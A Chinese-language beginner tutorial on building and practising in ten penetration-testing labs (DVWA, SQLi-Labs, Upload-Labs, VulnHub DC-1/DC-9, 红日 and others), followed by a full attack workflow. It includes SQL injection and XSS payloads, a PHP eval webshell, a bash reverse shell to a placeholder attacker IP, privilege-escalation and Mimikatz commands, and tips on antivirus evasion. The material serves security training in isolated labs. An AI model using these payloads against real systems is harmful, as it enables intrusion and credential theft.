渗透测试新手入门:从零搭建10大经典攻防靶场实战指南

1. 项目概述:为什么新人必须从靶场开始?

如果你刚接触渗透测试,面对“黑客”、“漏洞”、“攻击”这些词,是不是既兴奋又有点无从下手?我见过太多新人,一上来就抱着Kali Linux,对着网上零散的教程一通乱试,结果要么把自家网络搞崩,要么对着一个真实但复杂的漏洞束手无策,热情很快就被挫败感浇灭。这正是“网络攻防靶场”存在的核心价值:它为你提供了一个绝对安全、可控、且精心设计的“数字健身房”。

简单来说,靶场就是一个隔离的虚拟环境,里面预置了各种存在已知漏洞的应用程序、操作系统或网络服务。你的任务,就是像侦探一样,运用工具和技术,找到并利用这些漏洞,最终获取系统权限或敏感数据(通常以找到“Flag”为标志)。这和你玩解谜游戏通关很像,但每一步都对应着真实的攻防技术原理。对于新人,靶场解决了三大痛点:安全性(合法练习,不触碰法律红线)、系统性(漏洞类型由浅入深,形成知识体系)、可复现性(环境稳定,步骤可重复,便于复盘)。

所以,别再犹豫从哪里开始了。接下来,我将为你梳理10个经典且适合新手的靶场,从环境搭建到核心练手点,给你一份“开箱即练”的实战地图。我们不光要“搭起来”,更要明白“练什么”和“为什么这么练”。

2. 靶场搭建的通用心法与基础环境准备

在进入具体靶场之前,我们必须把“地基”打好。很多新手卡在第一步——环境搭建上,不是因为步骤多复杂,而是没理解背后的逻辑。搭建靶场,本质上是在你的电脑上创建一个独立的、包含漏洞的“沙盒”。

2.1 核心工具选型:虚拟机是基石

绝大多数靶场都推荐在虚拟机中运行。为什么?

  1. 隔离性:靶机(存在漏洞的系统)和攻击机(你的Kali Linux)都在虚拟环境里,即使靶机崩溃或被“玩坏”,也丝毫不会影响你真实的电脑系统。
  2. 便携与快照:虚拟机可以轻松复制、迁移。更重要的是“快照”功能,练习前保存一个干净状态,练习后一键还原,效率极高。
  3. 网络控制:虚拟网络适配器让你可以灵活配置攻击机和靶机的网络关系(如桥接、NAT、仅主机模式),模拟不同网络场景。

主流选择

  • VMware Workstation Player (免费):对个人用户免费,性能稳定,兼容性好,是大多数人的首选。
  • VirtualBox (开源免费):完全免费,功能足够,但性能和兼容性稍逊于VMware。
  • 注意:请务必从官网下载,避免安装捆绑软件。

2.2 攻击机标配:Kali Linux 的简易部署

你的“武器库”就是Kali Linux。对于新人,最推荐的方式是直接下载官方预构建的虚拟机镜像(.ova或.vmx文件)。

操作步骤与意图

  1. 下载:访问 Kali Linux 官网,找到 “Pre-built Virtual Machines” 部分,下载适用于 VMware 或 VirtualBox 的镜像文件。这省去了复杂的安装过程。
  2. 导入:在 VMware 或 VirtualBox 中,选择“文件”->“打开”,找到下载的 .ova 文件,按向导导入。虚拟机的硬件配置(内存、CPU)会自动设置一个推荐值。
  3. 首次启动与配置
    • 默认用户名kali,密码kali
    • 启动后第一件事,在终端执行sudo apt update && sudo apt upgrade -y更新系统。这能确保所有工具都是最新版,避免因工具版本问题导致的奇怪错误。
    • 网络配置关键:将 Kali 虚拟机的网络适配器设置为NAT 模式。这样,Kali 可以上网下载更多工具包,同时又能与处于同一虚拟网络下的靶机通信。

2.3 靶场获取的两种主要形式

靶场通常以两种形式提供,决定了不同的搭建方式:

  1. 虚拟机镜像 (.ova/.vmdk/.ova):如 VulnHub 上的大部分靶场(DC-1, DC-9等)。这类靶场是一个完整的操作系统,包含了所有漏洞环境。你只需要像导入Kali一样,将其导入虚拟机软件即可。优势:开箱即用,环境完整。劣势:文件体积较大。
  2. Web应用集成环境:如 DVWA、Pikachu、SQLi-Labs。这类靶场通常是一个PHP+MySQL的Web应用。你需要一个Web服务器环境(如XAMPP、Docker)来运行它。优势:轻量,聚焦Web漏洞本身。劣势:需要本地配置PHP/MySQL环境。

通用心法:无论哪种形式,搭建完成后,第一要务是确认攻击机(Kali)和靶机之间的网络连通性。在Kali中,用ping <靶机IP>测试。不通?检查两者的虚拟机网络设置是否在同一网段(例如,都设为NAT或仅主机模式)。

注意:永远不要在物理机或生产环境中直接搭建和运行靶场,尤其是那些带有主动攻击性漏洞的靶场。虚拟化隔离是安全实践的第一课。

3. 十大经典靶场详解:从易到难,逐个击破

下面我们进入正题,按照从易到难的顺序,详细拆解10个经典靶场。我会为每个靶场说明其核心价值、搭建关键、以及新人应该重点练习什么。

3.1 DVWA (Damn Vulnerable Web Application)

定位:Web渗透的“Hello World”。核心价值:将同一个漏洞(如SQL注入)分为从低到高(Low, Medium, High, Impossible)四个安全等级,让你直观感受不同防御级别的代码差异和攻击手法的演变。

搭建步骤(基于XAMPP)

  1. 从 GitHub 搜索 “DVWA” 下载源码ZIP包。
  2. 解压到 XAMPP 的htdocs目录下,重命名为dvwa
  3. 启动 XAMPP 控制面板,开启 Apache 和 MySQL 服务。
  4. 浏览器访问http://localhost/dvwa/setup.php
  5. 点击页面中的 “Create / Reset Database” 按钮。这会自动创建数据库。
  6. 如果遇到数据库连接错误,需要手动编辑dvwa/config/config.inc.php文件,确保数据库密码与 XAMPP 的 MySQL 密码(默认为空)一致。
  7. 登录默认账号:admin/password

练手重点与路径

  • Low 级别:理解漏洞最原始的原理。例如在SQL注入(SQL Injection)模块,输入1' or '1'='1看看发生了什么。这里没有任何过滤,是学习注入逻辑的绝佳起点。
  • Medium 级别:学习绕过简单的防御。例如,SQL注入这里用了mysql_real_escape_string()函数,但注入数字型字段时,它可能失效。尝试1 OR 1=1#
  • High 级别:接触更复杂的场景。例如SQL注入使用了预处理语句的预备形式,但可能存在二次注入点。这里需要更耐心地分析代码逻辑。
  • Impossible 级别:学习安全的代码应该如何编写。这不是让你攻破,而是让你对比学习,知道从开发角度如何彻底杜绝此类漏洞。
  • 必练模块:SQL Injection, Command Injection, File Upload, XSS (Reflected/DOM/Stored), CSRF。

实操心得: DVWA的“暴力破解”(Brute Force)模块在Low级别下,是学习使用Burp Suite Intruder或Hydra的完美场景。先用手动尝试几次,感受过程,再用工具自动化,你会对爆破的原理和工具有飞跃性的理解。

3.2 Pikachu(皮卡丘靶场)

定位:中文友好、漏洞类型全面的Web实战乐园。核心价值:覆盖了OWASP Top 10中绝大部分漏洞类型,且每个漏洞都有前后端对应的场景,提示清晰,非常适合国人系统学习。

搭建步骤: 与DVWA类似,因为它也是PHP+MySQL应用。

  1. 从GitHub搜索 “pikachu” 下载源码。
  2. 解压至 XAMPP 的htdocs目录。
  3. 访问http://localhost/pikachu,根据首页提示初始化安装(通常一键完成)。
  4. 安装完成后即可访问各个漏洞模块。

练手重点与路径

  • 暴力破解:“基于表单的暴力破解”和“验证码绕过(on server)”是连续剧。先学会用Burp Suite抓包,然后尝试绕过前端JS验证,再学习识别服务端验证码的缺陷(如验证码一次生成多次使用)。
  • XSS:它把反射型、存储型、DOM型分得很清楚。重点理解三者之间的区别:数据存储在哪儿?谁在解析执行?DOM型XSS要结合浏览器开发者工具的“元素”和“控制台”面板一起分析。
  • SQL注入:除了常见的类型,还提供了“搜索型注入”、“xx型注入”等变种。关键是理解SQL查询语句的原始结构,然后思考你的输入如何“嵌入”并改变这个结构。
  • RCE(远程命令/代码执行):“exec “ping””模块教你如何通过拼接命令执行任意指令。127.0.0.1 & whoami,这里的&就是关键。
  • 越权访问:“水平越权”和“垂直越权”是Web逻辑漏洞的重灾区。通过修改URL或Cookie中的用户ID参数,理解权限控制的缺失。

注意事项: Pikachu的提示有时比较直接,不要满足于按照提示直接输入Payload过关。一定要自己用Burp Suite抓包,修改请求,观察响应,理解整个数据流。这才是内化的过程。

3.3 SQLi-Labs

定位:SQL注入的“专项训练营”。核心价值:极度聚焦,从最基本的错误型注入到复杂的盲注、堆叠注入、绕过WAF等,共约65关,难度阶梯式上升,是成为SQL注入高手的必经之路。

搭建步骤

  1. 从GitHub搜索 “sqlilabs” 下载源码。
  2. 解压至 XAMPP 的htdocs下的sqlilabs文件夹。
  3. 访问http://localhost/sqlilabs,点击页面上的“Setup/reset Database for labs”链接来创建数据库。
  4. 如果遇到问题,可能需要手动修改sql-connections/db-creds.inc文件中的数据库密码。

练手重点与路径(核心关卡指引)

  • Less-1 ~ Less-4单引号、双引号、括号字符型注入。学习判断注入类型,这是所有注入的基础。使用and 1=1/and 1=2进行逻辑测试。
  • Less-5 ~ Less-6布尔盲注(Boolean-Based Blind)。页面没有错误回显,只有“You are in…”或空白。你需要像猜谜一样,通过页面返回的“是”与“否”来逐位推断数据。这是学习substr()ascii()length()函数和自动化脚本(如Python + Requests)的起点。
  • Less-7 ~ Less-10时间盲注(Time-Based Blind)。连布尔回显都没有了,只能通过sleep()函数是否执行来判断。这是最考验耐心和脚本能力的部分。
  • Less-54 ~ Less-65挑战关卡,综合了各种过滤和绕过技巧。例如限制注入次数、过滤空格、过滤关键字等。你需要运用/**/代替空格、like代替=、双写关键字绕过等技巧。

核心技巧: 对于盲注,纯手工是灾难。一定要在理解原理后,尝试编写简单的Python脚本。脚本的核心逻辑是一个循环:if 请求(‘ and ascii(substr(database(),1,1))>100 --+‘) 有正确回显(或响应时间差): 则当前位ASCII码大于100。自动化是渗透测试工程师的基本素养。

3.4 Upload-Labs(文件上传漏洞靶场)

定位:文件上传漏洞的“花样绕过大全”。核心价值:集中展示了前端校验、MIME类型校验、文件头校验、黑名单/白名单、条件竞争等近20种上传防御手段及对应的绕过方法。

搭建步骤: 同属PHP应用,下载源码放入htdocs,访问即可。

练手重点与绕过思路

  • Pass-01(前端JS校验):直接浏览器禁用JS,或使用Burp Suite拦截请求后修改文件后缀。
  • Pass-02(MIME类型校验):抓包,将Content-Type: application/octet-stream修改为image/jpeg
  • Pass-03(黑名单绕过:特殊后缀):黑名单禁止了.php,尝试.php3,.phtml,.phps等,前提是服务器配置了将这些后缀解析为PHP。
  • Pass-04(.htaccess文件攻击):如果黑名单不全,且服务器允许上传.htaccess文件,你可以上传一个内容为AddType application/x-httpd-php .jpg.htaccess文件,之后所有.jpg文件都会被当作PHP执行。
  • Pass-11(双写后缀绕过):代码逻辑是str_ireplace(‘.php’, ‘’, $filename)。那么上传shell.pphphp,被替换后就成了shell.php
  • Pass-17(条件竞争):服务器先保存文件,再检查内容。利用多线程并发,在文件被删除前访问并执行它。这是高阶漏洞,需要编写并发攻击脚本。

经验之谈: 文件上传的终极目标是让服务器以脚本语言(如PHP)来解析你上传的文件。所以,你的思路要么是“欺骗”服务器(改后缀、改内容),要么是“利用”服务器的特性(解析漏洞、.htaccess)。每一关的源码都值得仔细阅读,理解它的检查逻辑,才能想出绕过之道。

3.5 XSS-Labs

定位:跨站脚本攻击的“闯关游戏”。核心价值:20多关,每一关都设置了不同的过滤和限制,引导你逐步掌握各种XSS payload的构造和编码绕过技巧。

搭建与练习: 环境搭建同上。它的乐趣在于“解题”。每一关页面都会有一个输入框,你的目标是弹出alert(‘xss’)对话框。

关键关卡与Payload解析

  • Level 1-3:基础,无过滤。直接<script>alert(‘xss’)</script>
  • Level 4:输入出现在<input>标签的value属性里。你需要闭合属性:“><script>alert(‘xss’)</script>
  • Level 5:过滤了scripton事件。尝试使用<a>标签和伪协议:“><a href=“javascript:alert(‘xss’)”>click</a>
  • Level 6:大小写绕过。<ScRiPt>alert(‘xss’)</ScRiPt>
  • Level 10:关键词script被替换为空。双写绕过:<scrscriptipt>alert(‘xss’)</scrscriptipt>
  • 后续关卡:会引入HTML实体编码、URL编码、以及更复杂的DOM型XSS。你需要熟练使用浏览器的开发者工具,跟踪数据流,看你的输入经过了哪些JavaScript函数的处理。

深入思考: XSS的核心是“注入”并“执行”JavaScript代码。所以,你的思维不能局限于<script>标签。<img src=1 onerror=alert(1)><svg onload=alert(1)><body onload=alert(1)>都是常见的向量。理解事件处理器(onclick, onerror, onload等)是进阶的关键。

3.6 VulnHub 系列:DC-1

定位:综合渗透测试的“入门实战”。核心价值:这是一个完整的、模拟真实环境的Linux靶机。你需要从外部网络发现它,获取初始立足点,然后进行系统内的权限提升,最终找到所有Flag。它涵盖了信息收集、漏洞利用、权限提升的完整流程。

搭建步骤

  1. 从 VulnHub 官网下载 DC-1 的.ova文件。
  2. 使用 VMware 或 VirtualBox 导入该虚拟机。
  3. 重要:将 DC-1 和你的 Kali 攻击机的网络模式都设置为NAT仅主机(Host-Only),确保两者在同一网段。
  4. 启动 DC-1 靶机。它通常会显示一个登录界面,但你的攻击不是从这里开始。

渗透流程与练手重点

  1. 信息收集
    • 在Kali中,使用netdiscoverarp-scan扫描局域网,找到DC-1的IP地址(例如192.168.xx.xx)。
    • 使用nmap -sV -sC -O <靶机IP>进行端口和服务扫描。你会发现它开放了80端口(Web服务)和22端口(SSH)。
  2. Web渗透
    • 访问http://<靶机IP>,发现是一个Drupal CMS(内容管理系统)网站。
    • 使用searchsploit drupal在Kali中搜索Drupal的公开漏洞。你会发现一个著名的远程代码执行漏洞(如Drupalgeddon)。
    • 使用msfconsole启动Metasploit框架,搜索(search drupal)并利用对应的漏洞模块(例如exploit/unix/webapp/drupal_drupalgeddon2),设置好参数后run。成功后,你会获得一个低权限的Meterpreter shell。
  3. 权限提升
    • 在获得的shell中,使用find / -perm -u=s -type f 2>/dev/null查找具有SUID权限的文件。你会发现一个不常见的二进制文件,比如/usr/bin/find(通常没有SUID,但这里被设置了)。
    • 利用SUID的find命令进行提权:在shell中执行find . -exec /bin/sh \;,这会给你一个root shell。
  4. 寻找Flag
    • 通常有5个Flag,分布在/home/var/www/root等目录,甚至需要你查看数据库。这锻炼了你的系统探索和敏感信息查找能力。

核心收获: DC-1教会你的不是某个单一漏洞,而是一个标准流程:扫描 -> 发现服务 -> 搜索漏洞 -> 利用 -> 立足 -> 内网探索 -> 提权 -> 获取目标。这是渗透测试的基本方法论。

3.7 VulnHub 系列:DC-9

定位:融合了SQL注入、文件包含、权限提升的进阶实战。核心价值:难度比DC-1更高,涉及更多Web漏洞的串联利用,并且最后的提权可能需要你查阅本地文件,进行密码破解和横向移动。

渗透思路指引

  1. 信息收集:同样先找到IP,nmap扫描。会发现80端口的Web服务。
  2. SQL注入:在网站搜索功能处,存在基于时间的盲注。你需要使用sqlmap或手动构造时间盲注Payload来获取数据。sqlmap -u “http://<靶机IP>/search.php?search=test” --technique=T --dbs
  3. 获取后台与文件包含:通过注入获取的管理员密码(可能是MD5哈希),需要破解后登录网站后台。在后台可能存在文件管理功能,利用本地文件包含(LFI)漏洞读取系统敏感文件,如/etc/passwd
  4. 获取SSH私钥与横向移动:通过LFI可能发现系统用户的SSH私钥文件。下载并使用它尝试登录SSH。但私钥可能有密码保护,这就需要用到ssh2johnjohn进行破解。
  5. 权限提升:登录后,使用sudo -l查看当前用户能以root身份运行哪些命令。可能会发现一个可以用root权限运行的脚本或命令,利用它(比如通过写入文件或执行命令)获得root shell。

难点解析: DC-9的链条较长,考验你的耐心和逻辑串联能力。时间盲注比较耗时,最好用sqlmap跑。密码破解(无论是MD5还是SSH私钥密码)是基本功,要熟悉johnhashcat的基本用法。sudo -l是Linux提权检查的黄金命令。

3.8 红日靶场(系列)

定位:国内知名的内网渗透实战环境。核心价值:模拟了真实的企业内网环境,通常包含多个靶机(Web服务器、数据库服务器、域控制器等)。你的目标是从外网突破边界,进入内网,进行横向移动,最终攻陷域控。这是从“点”到“面”的能力飞跃。

环境特点与搭建: 红日靶场通常提供一整套虚拟机镜像(如Win7、Win2008、Win2012)。你需要用VMware的“自定义网络”功能,为这些机器搭建一个模拟的内网环境(例如,攻击机在VMnet8(NAT),Win7在VMnet1(仅主机)和VMnet8,其他内网机器仅在VMnet1)。

核心练手技术栈

  1. 边界突破:通常通过Web漏洞(如SQL注入、文件上传)获取第一台跳板机(通常是Win7)的权限。使用中国菜刀/蚁剑/冰蝎等Webshell管理工具。
  2. 内网信息收集
    • ipconfig /all查看网络配置,发现内网网段。
    • net view查看域内机器。
    • net user /domain查看域用户。
    • net group “domain admins” /domain查看域管理员。
  3. 横向移动
    • 密码哈希传递(Pass-the-Hash):使用Mimikatz从内存中抓取哈希,然后用psexecwmiexec等工具凭哈希横向登录其他机器。
    • 票据传递(Pass-the-Ticket):同样是Mimikatz,抓取Kerberos票据进行横向移动。
    • MS17-010(永恒之蓝):在内网扫描存在此漏洞的机器,利用其进行横向扩散。
  4. 权限提升与域控攻陷
    • 在域成员服务器上,尝试利用系统漏洞(如烂土豆JuicyPotato)提权至SYSTEM。
    • 获取域控访问权限后,使用Mimikatz的lsadump::dcsync功能直接同步域控的哈希,获取域内所有用户的密码哈希,从而完全控制整个域。

重要提醒: 内网渗透涉及大量工具使用(如nmap内网版、Metasploit、Cobalt Strike、各种漏洞利用脚本)。红日靶场是一个综合练兵场,建议在熟练掌握前面单个Web漏洞和基础提权后,再挑战此类综合靶场。每一步操作都要想清楚“我在哪”、“我是谁”、“我能去哪”。

3.9 BugKu 渗透测试题(线上)

定位:CTF(Capture The Flag)风格的实战解题。核心价值:BugKu平台提供了大量分门别类的渗透测试题目(Web、Misc、Crypto等)。它更贴近CTF比赛,每个题目聚焦一个或几个知识点,需要你运用发散思维和技巧去解决,非常适合锻炼解题能力和知识广度。

练习方式: 访问BugKu官网,在“CTF题库”或“渗透测试”板块选择题目。它提供在线环境,无需本地搭建。

典型题目思路举例(以一道简单Web题为例)

  • 场景:一个登录页面,提示“试试看你能找到什么”。
  • 思路
    1. 查看源码:F12查看网页源代码,有时flag或提示就藏在注释里。
    2. 目录扫描:使用dirsearchgobuster扫描网站目录,可能发现robots.txtwww.zip(网站备份文件)、admin.php等隐藏入口。
    3. 参数测试:如果URL中有参数,如?id=1,尝试SQL注入或文件包含Payload。
    4. Cookie与头信息:检查Cookie或响应头,有时flag会放在那里。
    5. 本地文件包含:如果发现文件读取功能,尝试../../../../etc/passwd读取系统文件。

能力提升: CTF题目往往有“非预期解”,鼓励多思考。多刷题能极大提升你对漏洞的敏感度和利用技巧的熟练度。把BugKu当作你的“每日一练”。

3.10 Docker 化靶场:VulApps / DVWA Docker

定位:最快速、最轻量的环境搭建方式。核心价值:利用Docker容器技术,一条命令就能拉起一个完整的靶场环境,完美解决了“搭建环境半小时,练习五分钟”的痛点。适合快速验证某个漏洞或进行演示。

搭建步骤(以DVWA为例)

  1. 确保你的系统已安装Docker和Docker Compose。
  2. 找一个DVWA的Docker镜像,比如vulnerables/web-dvwa
  3. 在终端执行:docker run --rm -it -p 80:80 vulnerables/web-dvwa
  4. 等待拉取镜像并启动容器后,浏览器访问http://localhost即可。

优势与注意事项

  • 优势:极致简单,环境纯净,隔离性好,不污染宿主机。
  • 注意:Docker容器是无状态的,关闭后数据会丢失(除非使用数据卷持久化)。对于需要保存进度的复杂靶场(如VulnHub系列),虚拟机仍是更好的选择。但对于DVWA、SQLi-Labs这种,Docker是首选。

4. 渗透测试实战流程与工具链串联

掌握了单个靶场后,你需要把它们串联成一个完整的流程。一个标准的、简易的渗透测试流程可以概括为:信息收集 -> 漏洞扫描 -> 漏洞利用 -> 权限维持 -> 内网渗透 -> 清理痕迹。下面我们用一个虚拟的“综合靶场”场景,来串联主要工具。

场景:你对一个指定IP(假设为192.168.1.100)进行授权测试。

4.1 第一阶段:信息收集(Reconnaissance)

目标:尽可能多地收集目标信息,为后续攻击寻找入口。

  • 被动收集:使用whois查询域名注册信息,theHarvester搜索关联邮箱,sublist3r枚举子域名。
  • 主动扫描
    • 端口扫描nmap -sS -sV -O -p- 192.168.1.100(-sS SYN扫描,-sV服务版本,-O操作系统,-p- 全端口)。
    • Web路径扫描gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt
    • Web指纹识别:浏览器访问,或使用whatweb http://192.168.1.100识别CMS、框架、中间件。

4.2 第二阶段:漏洞扫描与利用(Exploitation)

目标:基于收集的信息,发现并验证漏洞。

  • 自动化扫描:对Web服务,使用niktoOWASP ZAP进行初步漏洞扫描。注意,自动化工具误报多,结果仅作参考。
  • 手动验证与利用
    • SQL注入:发现搜索框或ID参数,用sqlmap -u “http://...?id=1” --batch进行自动化注入测试。
    • 文件上传:寻找上传点,尝试上传Webshell(如<?php @eval($_POST[‘cmd’]);?>保存为.jpg.php5)。
    • 已知漏洞利用:如果发现Drupal 7.x,立刻搜索Drupalgeddon漏洞,使用Metasploit的exploit/unix/webapp/drupal_drupalgeddon2模块。
  • 获取初始Shell:漏洞利用成功后,你可能会获得一个反向Shell(reverse shell)或Webshell。在Kali上使用nc -lvnp 4444监听端口,在目标上执行反弹Shell命令(如bash -c ‘bash -i >& /dev/tcp/攻击机IP/4444 0>&1’)。

4.3 第三阶段:后渗透与权限提升(Post-Exploitation)

目标:巩固访问权限,提升权限,探索内网。

  • Shell稳定化:原始的Shell可能不稳定。使用Python获取一个TTY:python -c ‘import pty; pty.spawn(“/bin/bash”)’。或者用socat等工具升级为完全交互式Shell。
  • 权限提升
    • Linux:运行linpeas.shLinEnum.sh自动化脚本,它们会检查系统配置、SUID文件、Cron任务、sudo权限等,给出可能的提权路径。
    • Windows:上传winPEAS.batPowerUp.ps1(PowerShell脚本)进行信息收集。常见提权漏洞如MS16-032、MS17-010,或利用配置错误的服务路径、不安全的注册表项等。
  • 信息收集(系统内)
    • cat /etc/passwd(Linux)或net user(Windows)查看用户。
    • ifconfigipconfig查看内网IP。
    • netstat -antp查看网络连接和内部服务。

4.4 第四阶段:内网横向移动(Lateral Movement)

目标:以当前机器为跳板,攻击内网其他主机。

  • 代理搭建:在跳板机上部署代理工具(如frp,ew,ngrok),将内网流量转发到你的攻击机。
  • 内网扫描:通过代理,使用nmapmsfconsoleauxiliary/scanner模块扫描内网网段(如192.168.xx.0/24)。
  • 横向攻击
    • 密码攻击:使用在跳板机上抓取的密码哈希(Mimikatz for Windows,unshadowfor Linux),尝试密码传递攻击或爆破其他主机的相同账户。
    • 漏洞利用:对内网中发现的脆弱服务(如SMB、RDP)进行攻击。

工具链总结表

阶段主要任务常用工具关键产出
信息收集发现目标资产与暴露面Nmap, Gobuster, WhatWeb, theHarvesterIP、端口、服务、子域名、目录结构
漏洞扫描自动化识别潜在漏洞Nikto, OWASP ZAP, Nessus (商业)漏洞列表(需手动验证)
漏洞利用攻击验证,获取初始访问Metasploit, Sqlmap, Burp Suite, 手工Payload初始Shell/Webshell
后渗透权限提升、信息收集、持久化LinPEAS/WinPEAS, Mimikatz, LinEnumRoot/System权限、用户密码哈希、内网拓扑
横向移动内网扩散,攻击其他主机Frp/Ew (代理), Psexec/Wmiexec, CrackMapExec域控权限、核心数据访问权

5. 新人避坑指南与高频问题排查

这条路我走过,也见过无数新人踩坑。下面这些经验,希望能让你少走弯路。

5.1 环境搭建与网络问题

  • 问题:Kali ping不通靶机。
    • 排查
      1. 确认两者网络模式一致(都设为NAT或都设为仅主机)。
      2. 在Kali中运行ip addr,在靶机中运行ipconfig(Windows)或ifconfig(Linux),看IP是否在同一网段(如192.168.xx.yy)。
      3. 关闭宿主机的防火墙(临时测试用)。
      4. 在VMware的“虚拟网络编辑器”中,检查对应网络模式(如VMnet8)是否启用了DHCP。
  • 问题:DVWA/Pikachu页面显示数据库连接错误。
    • 排查
      1. 确保XAMPP的MySQL服务已启动(绿灯)。
      2. 检查靶场配置文件(如config.inc.php)中的数据库密码是否与XAMPP的MySQL密码一致(XAMPP默认密码为空)。
      3. 尝试通过XAMPP的phpMyAdmin手动登录MySQL,确认服务正常。

5.2 工具使用与漏洞利用问题

  • 问题:Sqlmap跑不出结果,或者报错。
    • 排查
      1. 确认注入点:先用and 1=1/and 1=2手工测试,确认存在注入再上Sqlmap。
      2. 处理Cookie/Session:如果页面需要登录,使用--cookie=“...”参数。
      3. 指定注入技术:对于盲注,使用--technique=B(布尔盲注)或--technique=T(时间盲注)。
      4. 降低安全级别:有些靶场(如DVWA的High级别)有Token防护,需要配合--csrf-token--csrf-url参数。
  • 问题:Metasploit的exploit执行成功,但拿不到session(反弹shell失败)。
    • 排查
      1. 监听设置:检查LHOSTLPORT是否设置正确,LHOST必须是Kali本机的IP(在NAT模式下,是ip addreth0的IP,通常是192.168.xx.yy,而非127.0.0.1)。
      2. 防火墙与出网:靶机可能无法出网连接到你的Kali。尝试将Payload(PAYLOAD)改为reverse_httpreverse_https,它们可能能绕过出口限制。
      3. 杀毒软件:Windows靶机上的杀软可能拦截了Payload。尝试使用编码器(msfvenom-e参数)或生成免杀Payload。

5.3 学习路径与心态问题

  • 误区:沉迷于工具,忽视原理。
    • 建议:每次用Sqlmap跑出一个注入,一定要去查看它的Payload(加-v 3参数),理解它做了什么。用Burp Suite抓到包后,多尝试手动修改参数,观察响应变化。工具是手臂,原理才是大脑。
  • 误区:追求速度,不注重记录和复盘。
    • 建议:准备一个笔记软件(如Obsidian、Notion),为每个靶场建立笔记。记录:IP、开放端口、漏洞点、利用步骤、使用的命令、遇到的错误及解决方法、最终获取的Flag。这份笔记是你成长的轨迹,也是未来面试时宝贵的素材。
  • 瓶颈:遇到复杂漏洞(如盲注、反序列化)或综合靶场时,毫无头绪。
    • 建议
      1. 分解问题:把大问题拆成小步骤。例如“攻陷DC-9”拆成“找注入点 -> 注入拿数据 -> 登录后台 -> 找LFI -> 读文件 -> ...”。
      2. 善用搜索:将错误信息或关键步骤(如“Drupal 7 exploit”)直接复制到搜索引擎,加上“walkthrough”或“writeup”关键词,阅读别人的解题报告。但切记,先自己思考,卡住再看。
      3. 加入社区:在安全论坛、Discord频道或QQ/微信群中提问。提问时,说明你的目标、已做的尝试、具体的错误信息,这样更容易获得帮助。

渗透测试是一门需要大量动手和实践的技能。这10个靶场,就像为你设计的10个训练关卡。从简单的DVWA开始,建立信心和理解;在SQLi-Labs和Upload-Labs中磨砺专项技能;通过VulnHub的DC系列体验完整流程;最后在红日靶场和CTF题目中挑战综合能力。记住,每个“Flag”的背后,都是一次对系统、对网络、对人性弱点的深入理解。保持好奇,保持耐心,保持合法合规的底线,你的“黑客”之旅,就从搭建第一个靶场开始吧。